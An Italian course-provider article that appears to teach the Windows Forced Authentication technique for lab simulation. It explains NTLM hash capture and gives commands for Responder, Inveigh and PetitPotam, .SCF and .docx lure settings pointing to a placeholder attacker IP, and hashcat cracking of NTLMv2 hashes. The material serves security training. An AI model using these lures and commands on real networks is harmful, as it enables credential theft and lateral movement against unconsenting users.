Iscriviti al webinar gratuito del 12 Maggio per diventare Forensic Analyst! Scopri di più
Corso Ethical Hacker: accedi alla promozione fino al 30 Arile! Scopri di più
La tecnica Forced Authentication sfrutta un comportamento nativo dei sistemi Windows: quando un host tenta di accedere a una risorsa SMB o WebDAV, invia automaticamente le credenziali hashate dell'utente corrente al server remoto. In ambienti enterprise questo meccanismo è trasparente e progettato per comodità, ma un avversario può trasformarlo in un vettore di raccolta credenziali semplicemente inducendo la vittima a "toccare" una risorsa controllata dall'attaccante.
La tecnica si colloca nella tattica TA0006 – Credential Access, la fase della kill chain in cui l'avversario mira a sottrarre nomi account e password. Il principio è semplice: un file esca — documento Office con template injection, un collegamento .LNK o .SCF con icona che punta a un server esterno, o una chiamata alla funzione EfsRpcOpenFileRaw dell'interfaccia MS-EFSRPC — forza il sistema a negoziare NTLM verso una destinazione malevola. L'attaccante cattura l'hash NTLMv2 e può tentare il cracking offline oppure riutilizzarlo in un attacco NTLM relay per muoversi lateralmente.
I dati del framework di riferimento documentano 2 gruppi APT, 1 software e 2 mitigazioni associate, segno che la tecnica è consolidata nel panorama delle operazioni reali e non limitata a esercizi accademici. Il suo impatto è amplificato dal fatto che non richiede esecuzione di codice sulla macchina vittima: basta che il sistema operativo tenti il rendering di un'icona o il caricamento di un template per innescare il flusso di autenticazione.
Per simulare la Forced Authentication in laboratorio servono due elementi: un listener che catturi gli hash NTLM e un file esca che inneschi l'autenticazione automatica. L'intera catena può essere replicata con tool open source senza necessità di exploit complessi.
Cattura degli hash con Responder. Responder (open source) è il tool di riferimento per intercettare autenticazioni NTLM/LLMNR/NBT-NS su rete. Per avviarlo in modalità di ascolto sull'interfaccia di rete del laboratorio:
sudo python3 Responder.py -I eth0 -wrfv
Il flag -w abilita il server WPAD, -r risponde alle richieste NetBIOS, -f forza l'autenticazione e -v attiva il verbose. In alternativa, su ambienti Windows, Inveigh (open source) offre funzionalità analoghe in PowerShell:
Invoke-Inveigh -NBNS Y -LLMNR Y -ConsoleOutput Y
Creazione dei file esca. Il vettore più diretto è un file .SCF posizionato in una cartella condivisa o sul desktop di un utente. Il contenuto è minimo: la sezione [Shell] con IconFile=\\<IP-ATTACCANTE>\share\icon.ico forza Windows a risolvere l'icona via SMB appena la cartella viene visualizzata in Explorer. In modo analogo, un file .LNK può avere l'attributo icon path impostato su un percorso UNC esterno.
Per il vettore documentale, è sufficiente un file .docx con template injection. Nel file word/_rels/settings.xml.rels si modifica il Target del relationship in modo che punti a file://<IP-ATTACCANTE>/template.dotm. Quando la vittima apre il documento, Word tenta di caricare il template e invia l'hash NTLMv2 al listener.
Simulazione PetitPotam. Per testare il vettore EFSRPC, PetitPotam (open source) permette di forzare l'autenticazione da un domain controller verso un host controllato:
python3 PetitPotam.py <IP-LISTENER> <IP-TARGET>
Il tool invoca EfsRpcOpenFileRaw e il target negozia automaticamente NTLM verso il listener. Questo scenario è particolarmente critico perché consente NTLM relay verso Active Directory Certificate Services.
Cracking offline. Gli hash catturati da Responder vengono salvati in file di log nella directory logs/. Per il cracking con hashcat (open source):
hashcat -m 5600 hash.txt wordlist.txt
Il modulo 5600 corrisponde a NTLMv2. Con una wordlist robusta e regole di mutazione, password deboli cadono in pochi minuti. È consigliabile documentare ogni test con timestamp e scope approvato dal committente.
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo